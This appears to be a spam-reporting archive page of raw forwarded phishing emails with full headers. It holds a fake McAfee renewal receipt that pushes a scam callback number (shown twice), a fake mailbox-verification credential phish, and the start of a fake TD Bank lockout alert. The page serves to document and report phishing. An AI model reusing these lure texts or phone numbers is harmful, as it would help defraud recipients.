text-indent: 0px; letter-spacing: normal; font-family: "Times New Rom=

an"; font-size: medium; font-style: normal; font-weight: 400; word-spa=

cing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-li=

gatures: normal; font-variant-caps: normal; -webkit-text-stroke-width:=

0px; text-decoration-thickness: initial; text-decoration-style: initi=

al; text-decoration-color: initial;'>







--GctA=_VwBh5Yp9Sn54MVHHJus9dfRsXvbF--



Yet another McAfee Phish from Google

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 30 Jan 2023 15:14:35 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pMcPX-0003Iy-21

for dave@doctor.nl2k.ab.ca;

Mon, 30 Jan 2023 15:13:59 -0700

Resent-From: The Doctor

Resent-Date: Mon, 30 Jan 2023 15:13:59 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-io1-f42.google.com ([209.85.166.42]:46981)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pMXZK-000BI0-30

for support@nl2k.ab.ca;

Mon, 30 Jan 2023 10:03:50 -0700

Received: by mail-io1-f42.google.com with SMTP id w24so1374572iow.13

for ; Mon, 30 Jan 2023 09:01:48 -0800 (PST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20210112;

h=date:mime-version:to:subject:from:message-id:from:to:cc:subject

:date:message-id:reply-to;

bh=1XYwW/Ul5C5FIlXfDIDdmngKIHOBUB+G8O6sREGuTOg=;

b=bwJ0bYgWpRoWRL2B93lftr2DQiQYkGwGVs6bg09xUDsc4p+tPtWQS8GJfgRUJfpWXa

fUMXAgHq+HFAu7EsMxKX591gfuK7zFKXwg2cJuoESmxXUdQovP/IgG90ZuT+JxfmepN7

Ig75sdHz7e6g9x2KokGbQBWEgPxe9O9GSn7YInDVO4XB0/1KboaebgtIqFJ75UKmAlMq

7upMdfYsjB/0jV2rkNeUJgHxYMe/HYUHvtt3nz6/TzjEUmD/RTMDB7TvMcNQXDEkOuqV

3Obk+65EeFzJFrt3t2StQbWFn1wrtwbTEEpy6nMtRagPvjaXfwWrJ8KLgvefKS4+Pxjy

jztg==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20210112;

h=date:mime-version:to:subject:from:message-id:x-gm-message-state

:from:to:cc:subject:date:message-id:reply-to;

bh=1XYwW/Ul5C5FIlXfDIDdmngKIHOBUB+G8O6sREGuTOg=;

b=7iWIBooKM2w0Z+7EBGwEvRKLiESsld7oOVskSyjrLGDTwardns4ZQfj2Brw8MLOix0

tP+Pg6jq8dJUBjDpjQ6CNmGuveCB1u/iVztTxbgscYpzbVere5KHMGGiM+N/TqDyrnXn

rrBWHjqUGxGpyTb47/er8m8gFvst5d0XsZImx5GQopbUjFBAzm1aP+Ho5h5vQGv3HWwE

gRIYXxTy0xFnWnmzwmBY6vZ0egbsPk4qRjl6i3GP7kRPd91h8HlAFpPzKy5nLoBNyD8X

a/+46NwcsBohIU1FJyBGCW1uP3jjNAIhCYB4Ora75y1J391As07UCR0IThClznj3zeWa

Q5GQ==

X-Gm-Message-State: AO0yUKXFHdSMCA4zejEpFvCjO+7rMDz/MCJOwH+Y7SIS043HR8uF4sga

trnH8/vf17V+qSlREjb59seELDlaACmAKCtOIzM=

X-Google-Smtp-Source: AK7set/VgGIzHvmeBCL1PAZ6mgc/O1Q4HIwkAiVxOhqcWaXGc3iCsVNt0QQz6spEMfa20wKMva3sMQ==

X-Received: by 2002:a5e:8e49:0:b0:71c:fe59:7967 with SMTP id r9-20020a5e8e49000000b0071cfe597967mr2732252ioo.21.1675098102219;

Mon, 30 Jan 2023 09:01:42 -0800 (PST)

Received: from 94.140.9.133 ([94.140.9.133])

by smtp.gmail.com with ESMTPSA id y25-20020a02a399000000b003b0692eb199sm1313853jak.20.2023.01.30.09.01.40

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Mon, 30 Jan 2023 09:01:41 -0800 (PST)

Message-ID: <63d7f7f5.020a0220.1958f.2475@mx.google.com>

From: "Michael L. Wheaton"

Subject: Your Product Renew ID*MC12

To: "support"

Content-Type: multipart/alternative; boundary="sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M"

MIME-Version: 1.0

Date: Mon, 30 Jan 2023 22:31:40 +0530



This is a multi-part message in MIME format



--sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Receipt From: January 30, 2023



Annual PC Protection Plan Update Details :

=20

Customer Ref ID: #7WHXPGHU6JVC



Dear Subscriber, support@nl2k.ab.ca



Your McAfee Total membership was renewed since you selected auto debit=

payments.



The most recent payment method was used to complete the $349.99 automa=

tic payment for PC and Internet Security services.



The current subscription was started on January 30, 2023, and it will =

terminate on January 29, 2024, unless you cancel the services or dispu=

te the charges.



If you need to upgrade, revoke, or deactivate the services in any way,=

please do it within 24 hours of the transaction date to prevent futur=

e fees.



For Assistance, Contact Helpdesk (+1 833 552 7214) Toll-free.=20



=20



Sincerely,



Michael L. Wheaton

=20

McAfee Billing Dept.

=20

Toll Free # (+1 833 552 7214)





--sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline






8">






3px 0px; font-family: Helvetica, Arial, sans-serif;" bgcolor=3D"#ebebe=

b" marginheight=3D"0" marginwidth=3D"0">


rgin: 0cm 0cm 7.5pt; text-align: left; color: rgb(0, 0, 0); text-trans=

form: none; line-height: 17.25px; text-indent: 0px; letter-spacing: no=

rmal; font-family: Calibri, sans-serif; font-size: 15px; font-style: n=

ormal; font-weight: 400; word-spacing: 0px; white-space: normal; orpha=

ns: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: n=

ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: init=

ial; text-decoration-style: initial; text-decoration-color: initial;">=


: 16px;'>Receipt From: January 30, 2023


0cm 0cm 12pt; text-align: left; color: rgb(0, 0, 0); text-transform: n=

one; line-height: 17.25px; text-indent: 0px; letter-spacing: normal; f=

ont-family: Calibri, sans-serif; font-size: 15px; font-style: normal; =

font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; =

widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; =

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial; text-decoration-color: initial;">
tyle=3D'font-family: "Times New Roman", Times, serif; font-size: 16px;=

'>Annual PC Protection Pl=

an Update Details :

 

ground: rgb(239, 239, 239); color: rgb(38, 38, 38); font-family: "Time=

s New Roman", Times, serif; font-size: 16px;'>Customer Ref ID:
<=

span style=3D'background: rgb(239, 239, 239); color: rgb(184, 49, 47);=

font-family: "Times New Roman", Times, serif; font-size: 16px;'> =

;#SA6ZSRJOUJ33


: left; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25p=

x; text-indent: 0px; letter-spacing: normal; font-family: Calibri, san=

s-serif; font-size: 15px; font-style: normal; font-weight: 400; word-s=

pacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-=

ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-widt=

h: 0px; text-decoration-thickness: initial; text-decoration-style: ini=

tial; text-decoration-color: initial;">
rit; font-family: "Times New Roman", Times, serif; font-size: 16px;'>D=

ear Subscriber, 

ont-family: "Times New Roman", Times, serif; font-size: 16px;'>support=

@nl2k.ab.ca


eft; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25px; =

text-indent: 0px; letter-spacing: normal; font-family: Calibri, sans-s=

erif; font-size: 15px; font-style: normal; font-weight: 400; word-spac=

ing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-lig=

atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: =

0px; text-decoration-thickness: initial; text-decoration-style: initia=

l; text-decoration-color: initial;">
New Roman", Times, serif; font-size: 16px;'>Your McAfee Total members=

hip was renewed since you selected auto debit payments.


tyle=3D"margin: 0cm 0cm 7.5pt; text-align: left; color: rgb(0, 0, 0); =

text-transform: none; line-height: 17.25px; text-indent: 0px; letter-s=

pacing: normal; font-family: Calibri, sans-serif; font-size: 15px; fon=

t-style: normal; font-weight: 400; word-spacing: 0px; white-space: nor=

mal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-varia=

nt-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thick=

ness: initial; text-decoration-style: initial; text-decoration-color: =

initial;">
Roman", Times, serif; font-size: 16px;'>The most recent payment method=

was used to complete the $349.99 =

automatic payment for PC and Internet Security services.
=


0, 0); text-transform: none; line-height: 17.25px; text-indent: 0px; =

letter-spacing: normal; font-family: Calibri, sans-serif; font-size: 1=

5px; font-style: normal; font-weight: 400; word-spacing: 0px; white-sp=

ace: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; fo=

nt-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decorati=

on-thickness: initial; text-decoration-style: initial; text-decoration=

-color: initial;">
, serif; font-size: 16px;'>The current subscription was started on
n> 
January 30, 2023, and it will terminate on=

 
January 29, 2024, unless you cancel the services o=

r dispute the charges.


t-align: left; color: rgb(0, 0, 0); text-transform: none; line-height:=

17.25px; text-indent: 0px; letter-spacing: normal; font-family: Calib=

ri, sans-serif; font-size: 15px; font-style: normal; font-weight: 400;=

word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-v=

ariant-ligatures: normal; font-variant-caps: normal; -webkit-text-stro=

ke-width: 0px; text-decoration-thickness: initial; text-decoration-sty=

le: initial; text-decoration-color: initial;">
n: inherit; font-family: "Times New Roman", Times, serif; font-size: 1=

6px;'>If you need to upgrade, revoke, or deactivate the services in an=

y way, please do it within 24 hours of the transaction date to prevent=

future fees.


left; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25px=

; text-indent: 0px; letter-spacing: normal; font-family: Calibri, sans=

-serif; font-size: 15px; font-style: normal; font-weight: 400; word-sp=

acing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-l=

igatures: normal; font-variant-caps: normal; -webkit-text-stroke-width=

: 0px; text-decoration-thickness: initial; text-decoration-style: init=

ial; text-decoration-color: initial;">
it;">
-family: "Times New Roman", Times, serif; font-size: 16px;'>For Assist=

ance, Contact Helpdesk 

New Roman", Times, serif; font-size: 16px;'>
ht: 700;">
8, 42, 150);">(+1 833 552 7214)

ackground: rgb(247, 218, 100); color: black; font-family: "Times New R=

oman", Times, serif; font-size: 16px;'>  Toll-free.

tyle=3D'font-family: "Times New Roman", Times, serif; font-size: 16px;=

'> 


n: left; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25=

px; text-indent: 0px; letter-spacing: normal; font-family: Calibri, sa=

ns-serif; font-size: 15px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant=

-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-wid=

th: 0px; text-decoration-thickness: initial; text-decoration-style: in=

itial; text-decoration-color: initial;">
imes New Roman", Times, serif; font-size: 16px;'> 


tyle=3D"margin: 0cm 0cm 7.5pt; text-align: left; color: rgb(0, 0, 0); =

text-transform: none; line-height: 17.25px; text-indent: 0px; letter-s=

pacing: normal; font-family: Calibri, sans-serif; font-size: 15px; fon=

t-style: normal; font-weight: 400; word-spacing: 0px; white-space: nor=

mal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-varia=

nt-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thick=

ness: initial; text-decoration-style: initial; text-decoration-color: =

initial;">
font-size: 16px;'>Regards,


t; text-align: left; color: rgb(0, 0, 0); text-transform: none; line-h=

eight: 17.25px; text-indent: 0px; letter-spacing: normal; font-family:=

Calibri, sans-serif; font-size: 15px; font-style: normal; font-weight=

: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-tex=

t-stroke-width: 0px; text-decoration-thickness: initial; text-decorati=

on-style: initial; text-decoration-color: initial;">
t-align: inherit; font-family: "Times New Roman", Times, serif; font-s=

ize: 16px;'>
"#000000">Michael L. Wheaton

nt-family: "Times New Roman", Times, serif; font-size: 16px;'>
&nbs=

p;
 McAfee Billing Dept.
 

ight: 700;">Toll Free #=

 

00;">
Roman", Times, serif; font-size: 16px;'>(+1 833 552 7214)

ng>







--sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M--



McAfee Phish from Google

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 30 Jan 2023 15:14:35 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pMcPX-0003Iy-21

for dave@doctor.nl2k.ab.ca;

Mon, 30 Jan 2023 15:13:59 -0700

Resent-From: The Doctor

Resent-Date: Mon, 30 Jan 2023 15:13:59 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-io1-f42.google.com ([209.85.166.42]:46981)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pMXZK-000BI0-30

for support@nl2k.ab.ca;

Mon, 30 Jan 2023 10:03:50 -0700

Received: by mail-io1-f42.google.com with SMTP id w24so1374572iow.13

for ; Mon, 30 Jan 2023 09:01:48 -0800 (PST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20210112;

h=date:mime-version:to:subject:from:message-id:from:to:cc:subject

:date:message-id:reply-to;

bh=1XYwW/Ul5C5FIlXfDIDdmngKIHOBUB+G8O6sREGuTOg=;

b=bwJ0bYgWpRoWRL2B93lftr2DQiQYkGwGVs6bg09xUDsc4p+tPtWQS8GJfgRUJfpWXa

fUMXAgHq+HFAu7EsMxKX591gfuK7zFKXwg2cJuoESmxXUdQovP/IgG90ZuT+JxfmepN7

Ig75sdHz7e6g9x2KokGbQBWEgPxe9O9GSn7YInDVO4XB0/1KboaebgtIqFJ75UKmAlMq

7upMdfYsjB/0jV2rkNeUJgHxYMe/HYUHvtt3nz6/TzjEUmD/RTMDB7TvMcNQXDEkOuqV

3Obk+65EeFzJFrt3t2StQbWFn1wrtwbTEEpy6nMtRagPvjaXfwWrJ8KLgvefKS4+Pxjy

jztg==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20210112;

h=date:mime-version:to:subject:from:message-id:x-gm-message-state

:from:to:cc:subject:date:message-id:reply-to;

bh=1XYwW/Ul5C5FIlXfDIDdmngKIHOBUB+G8O6sREGuTOg=;

b=7iWIBooKM2w0Z+7EBGwEvRKLiESsld7oOVskSyjrLGDTwardns4ZQfj2Brw8MLOix0

tP+Pg6jq8dJUBjDpjQ6CNmGuveCB1u/iVztTxbgscYpzbVere5KHMGGiM+N/TqDyrnXn

rrBWHjqUGxGpyTb47/er8m8gFvst5d0XsZImx5GQopbUjFBAzm1aP+Ho5h5vQGv3HWwE

gRIYXxTy0xFnWnmzwmBY6vZ0egbsPk4qRjl6i3GP7kRPd91h8HlAFpPzKy5nLoBNyD8X

a/+46NwcsBohIU1FJyBGCW1uP3jjNAIhCYB4Ora75y1J391As07UCR0IThClznj3zeWa

Q5GQ==

X-Gm-Message-State: AO0yUKXFHdSMCA4zejEpFvCjO+7rMDz/MCJOwH+Y7SIS043HR8uF4sga

trnH8/vf17V+qSlREjb59seELDlaACmAKCtOIzM=

X-Google-Smtp-Source: AK7set/VgGIzHvmeBCL1PAZ6mgc/O1Q4HIwkAiVxOhqcWaXGc3iCsVNt0QQz6spEMfa20wKMva3sMQ==

X-Received: by 2002:a5e:8e49:0:b0:71c:fe59:7967 with SMTP id r9-20020a5e8e49000000b0071cfe597967mr2732252ioo.21.1675098102219;

Mon, 30 Jan 2023 09:01:42 -0800 (PST)

Received: from 94.140.9.133 ([94.140.9.133])

by smtp.gmail.com with ESMTPSA id y25-20020a02a399000000b003b0692eb199sm1313853jak.20.2023.01.30.09.01.40

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Mon, 30 Jan 2023 09:01:41 -0800 (PST)

Message-ID: <63d7f7f5.020a0220.1958f.2475@mx.google.com>

From: "Michael L. Wheaton"

Subject: Your Product Renew ID*MC12

To: "support"

Content-Type: multipart/alternative; boundary="sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M"

MIME-Version: 1.0

Date: Mon, 30 Jan 2023 22:31:40 +0530



This is a multi-part message in MIME format



--sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Receipt From: January 30, 2023



Annual PC Protection Plan Update Details :

=20

Customer Ref ID: #7WHXPGHU6JVC



Dear Subscriber, support@nl2k.ab.ca



Your McAfee Total membership was renewed since you selected auto debit=

payments.



The most recent payment method was used to complete the $349.99 automa=

tic payment for PC and Internet Security services.



The current subscription was started on January 30, 2023, and it will =

terminate on January 29, 2024, unless you cancel the services or dispu=

te the charges.



If you need to upgrade, revoke, or deactivate the services in any way,=

please do it within 24 hours of the transaction date to prevent futur=

e fees.



For Assistance, Contact Helpdesk (+1 833 552 7214) Toll-free.=20



=20



Sincerely,



Michael L. Wheaton

=20

McAfee Billing Dept.

=20

Toll Free # (+1 833 552 7214)





--sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline






8">






3px 0px; font-family: Helvetica, Arial, sans-serif;" bgcolor=3D"#ebebe=

b" marginheight=3D"0" marginwidth=3D"0">


rgin: 0cm 0cm 7.5pt; text-align: left; color: rgb(0, 0, 0); text-trans=

form: none; line-height: 17.25px; text-indent: 0px; letter-spacing: no=

rmal; font-family: Calibri, sans-serif; font-size: 15px; font-style: n=

ormal; font-weight: 400; word-spacing: 0px; white-space: normal; orpha=

ns: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: n=

ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: init=

ial; text-decoration-style: initial; text-decoration-color: initial;">=


: 16px;'>Receipt From: January 30, 2023


0cm 0cm 12pt; text-align: left; color: rgb(0, 0, 0); text-transform: n=

one; line-height: 17.25px; text-indent: 0px; letter-spacing: normal; f=

ont-family: Calibri, sans-serif; font-size: 15px; font-style: normal; =

font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; =

widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; =

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial; text-decoration-color: initial;">
tyle=3D'font-family: "Times New Roman", Times, serif; font-size: 16px;=

'>Annual PC Protection Pl=

an Update Details :

 

ground: rgb(239, 239, 239); color: rgb(38, 38, 38); font-family: "Time=

s New Roman", Times, serif; font-size: 16px;'>Customer Ref ID:
<=

span style=3D'background: rgb(239, 239, 239); color: rgb(184, 49, 47);=

font-family: "Times New Roman", Times, serif; font-size: 16px;'> =

;#SA6ZSRJOUJ33


: left; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25p=

x; text-indent: 0px; letter-spacing: normal; font-family: Calibri, san=

s-serif; font-size: 15px; font-style: normal; font-weight: 400; word-s=

pacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-=

ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-widt=

h: 0px; text-decoration-thickness: initial; text-decoration-style: ini=

tial; text-decoration-color: initial;">
rit; font-family: "Times New Roman", Times, serif; font-size: 16px;'>D=

ear Subscriber, 

ont-family: "Times New Roman", Times, serif; font-size: 16px;'>support=

@nl2k.ab.ca


eft; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25px; =

text-indent: 0px; letter-spacing: normal; font-family: Calibri, sans-s=

erif; font-size: 15px; font-style: normal; font-weight: 400; word-spac=

ing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-lig=

atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: =

0px; text-decoration-thickness: initial; text-decoration-style: initia=

l; text-decoration-color: initial;">
New Roman", Times, serif; font-size: 16px;'>Your McAfee Total members=

hip was renewed since you selected auto debit payments.


tyle=3D"margin: 0cm 0cm 7.5pt; text-align: left; color: rgb(0, 0, 0); =

text-transform: none; line-height: 17.25px; text-indent: 0px; letter-s=

pacing: normal; font-family: Calibri, sans-serif; font-size: 15px; fon=

t-style: normal; font-weight: 400; word-spacing: 0px; white-space: nor=

mal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-varia=

nt-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thick=

ness: initial; text-decoration-style: initial; text-decoration-color: =

initial;">
Roman", Times, serif; font-size: 16px;'>The most recent payment method=

was used to complete the $349.99 =

automatic payment for PC and Internet Security services.
=


0, 0); text-transform: none; line-height: 17.25px; text-indent: 0px; =

letter-spacing: normal; font-family: Calibri, sans-serif; font-size: 1=

5px; font-style: normal; font-weight: 400; word-spacing: 0px; white-sp=

ace: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; fo=

nt-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decorati=

on-thickness: initial; text-decoration-style: initial; text-decoration=

-color: initial;">
, serif; font-size: 16px;'>The current subscription was started on
n> 
January 30, 2023, and it will terminate on=

 
January 29, 2024, unless you cancel the services o=

r dispute the charges.


t-align: left; color: rgb(0, 0, 0); text-transform: none; line-height:=

17.25px; text-indent: 0px; letter-spacing: normal; font-family: Calib=

ri, sans-serif; font-size: 15px; font-style: normal; font-weight: 400;=

word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-v=

ariant-ligatures: normal; font-variant-caps: normal; -webkit-text-stro=

ke-width: 0px; text-decoration-thickness: initial; text-decoration-sty=

le: initial; text-decoration-color: initial;">
n: inherit; font-family: "Times New Roman", Times, serif; font-size: 1=

6px;'>If you need to upgrade, revoke, or deactivate the services in an=

y way, please do it within 24 hours of the transaction date to prevent=

future fees.


left; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25px=

; text-indent: 0px; letter-spacing: normal; font-family: Calibri, sans=

-serif; font-size: 15px; font-style: normal; font-weight: 400; word-sp=

acing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-l=

igatures: normal; font-variant-caps: normal; -webkit-text-stroke-width=

: 0px; text-decoration-thickness: initial; text-decoration-style: init=

ial; text-decoration-color: initial;">
it;">
-family: "Times New Roman", Times, serif; font-size: 16px;'>For Assist=

ance, Contact Helpdesk 

New Roman", Times, serif; font-size: 16px;'>
ht: 700;">
8, 42, 150);">(+1 833 552 7214)

ackground: rgb(247, 218, 100); color: black; font-family: "Times New R=

oman", Times, serif; font-size: 16px;'>  Toll-free.

tyle=3D'font-family: "Times New Roman", Times, serif; font-size: 16px;=

'> 


n: left; color: rgb(0, 0, 0); text-transform: none; line-height: 17.25=

px; text-indent: 0px; letter-spacing: normal; font-family: Calibri, sa=

ns-serif; font-size: 15px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant=

-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-wid=

th: 0px; text-decoration-thickness: initial; text-decoration-style: in=

itial; text-decoration-color: initial;">
imes New Roman", Times, serif; font-size: 16px;'> 


tyle=3D"margin: 0cm 0cm 7.5pt; text-align: left; color: rgb(0, 0, 0); =

text-transform: none; line-height: 17.25px; text-indent: 0px; letter-s=

pacing: normal; font-family: Calibri, sans-serif; font-size: 15px; fon=

t-style: normal; font-weight: 400; word-spacing: 0px; white-space: nor=

mal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-varia=

nt-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thick=

ness: initial; text-decoration-style: initial; text-decoration-color: =

initial;">
font-size: 16px;'>Regards,


t; text-align: left; color: rgb(0, 0, 0); text-transform: none; line-h=

eight: 17.25px; text-indent: 0px; letter-spacing: normal; font-family:=

Calibri, sans-serif; font-size: 15px; font-style: normal; font-weight=

: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-tex=

t-stroke-width: 0px; text-decoration-thickness: initial; text-decorati=

on-style: initial; text-decoration-color: initial;">
t-align: inherit; font-family: "Times New Roman", Times, serif; font-s=

ize: 16px;'>
"#000000">Michael L. Wheaton

nt-family: "Times New Roman", Times, serif; font-size: 16px;'>
&nbs=

p;
 McAfee Billing Dept.
 

ight: 700;">Toll Free #=

 

00;">
Roman", Times, serif; font-size: 16px;'>(+1 833 552 7214)

ng>







--sJpsvQncasR9eiJojL2GJSHWxwnRnTW=_M--



mail phishing credentials

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 29 Jan 2023 05:21:29 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pM6fh-000Lna-1f

for dave@doctor.nl2k.ab.ca;

Sun, 29 Jan 2023 05:20:33 -0700

Resent-From: The Doctor

Resent-Date: Sun, 29 Jan 2023 05:20:33 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from omrs04.pc3.atmailcloud.com ([3.226.13.77]:42996)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pLyxu-000GQ3-14;

Sat, 28 Jan 2023 21:06:54 -0700

Received: from MRR.i-0ec3a420a7257558f

by OMR.i-0239dec18e1875a7a with esmtps

(envelope-from )

id 1pLyw2-0007IH-Hw; Sun, 29 Jan 2023 04:04:54 +0000

Received: from CMR.i-03f26429bc668704e by MRR.i-0ec3a420a7257558f with esmtps

(envelope-from )

id 1pLyw2-0008KO-Do; Sun, 29 Jan 2023 04:04:54 +0000

Received: from [185.238.231.78] (helo=[192.168.1.100])

by CMR.i-03f26429bc668704e with esmtpsa

(envelope-from )

id 1pLyvz-000557-6b; Sun, 29 Jan 2023 04:04:52 +0000

Content-Type: multipart/alternative; boundary="===============0063061164=="

MIME-Version: 1.0

Subject: Network Storage Maintenance Notification

To: Recipients

From: "Technical Support"

Date: Sun, 29 Jan 2023 13:04:08 +0900

X-Antivirus: Avast (VPS 230128-10, 1/29/2023), Outbound message

X-Antivirus-Status: Clean

X-Atmail-Id: schwahnelectric@bugnet.net

X-atmailcloud-spam-score: 20

X-atmailcloud-spam-bar: ++

X-atmailcloud-spam-action: add header



You will not see this in a MIME-aware mail reader.

--===============0063061164==

Content-Type: text/plain; charset="iso-8859-1"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body



Dear @ Users,

Your account has failed the verification/update process. Account holders a=

re required to update their accounts. If you do not comply with this notice=

within the specified time, you may not be able to send or receive all mess=

ages, and the owner of the message may risk losing your account. To upgrade=

your account.

KINDLY CLICK HERE FOR VERIFICATION

NOTE!! If you do not update your account, your account will automatica=

lly be removed from our system.

We apologies for any inconvenience this may cause.

Regards, Customer care Technical Support Team.



--

This email has been checked for viruses by Avast antivirus software.

www.avast.com

--===============0063061164==

Content-Type: text/html; charset="iso-8859-1"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body




=3Diso-8859-1"/>

(0,0,0)">



Dear @=

Users,





Your a=

ccount has failed the verification/update process. Account holders are requ=

ired to update their accounts. If you do not comply with this notice within=

the specified time, you may not be able to send or receive all messages, a=

nd the owner of the message may risk losing your account. To upgrade your a=

ccount.











SIZE: medium; FONT-FAMILY: times new roman; COLOR: #800000">NOT=

E!!











SIZE: medium; FONT-FAMILY: times new roman">If you do not update your a=

ccount, your account will automatically be removed from our system.

PAN>





We apologies for any incon=

venience this may cause.






SIZE: medium; FONT-FAMILY: times new roman">Regards,



SIZE: medium; FONT-FAMILY: times new roman">Customer care

DIV>


SIZE: medium; FONT-FAMILY: times new roman">Technical Support Team.
>

2AA1F9FDF2">

able>
=3D"1">


--===============0063061164==--

TD Phish from Hamburg Germany

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 27 Jan 2023 08:28:42 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pLQeU-000M76-1c

for dave@doctor.nl2k.ab.ca;

Fri, 27 Jan 2023 08:28:30 -0700

Resent-From: The Doctor

Resent-Date: Fri, 27 Jan 2023 08:28:30 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [194.26.192.194] (port=59442 helo=gki.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.96)

(envelope-from )

id 1pLN9z-000GAW-1J

for root@nl2k.ab.ca;

Fri, 27 Jan 2023 04:44:09 -0700

Reply-To:

From: TD Bank

To: root@nl2k.ab.ca

Subject: SECURITY ALERT: Action Required

Date: 27 Jan 2023 12:42:01 +0100

Message-ID: <20230127124200.78F0B8521257519A@gki.com>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 13.3

X-Spam_score_int: 133

X-Spam_bar: +++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Updates | TD Bank Updates | TD Bank Security Alert Alert:

We detected a new Log In to your TD Banking online account. Due to safety

protocol we have locked the access to your account. To unlock your account

please visit td.com/unlock and follow the in [...]



Content analysis details: (13.3 points, 5.0 required)



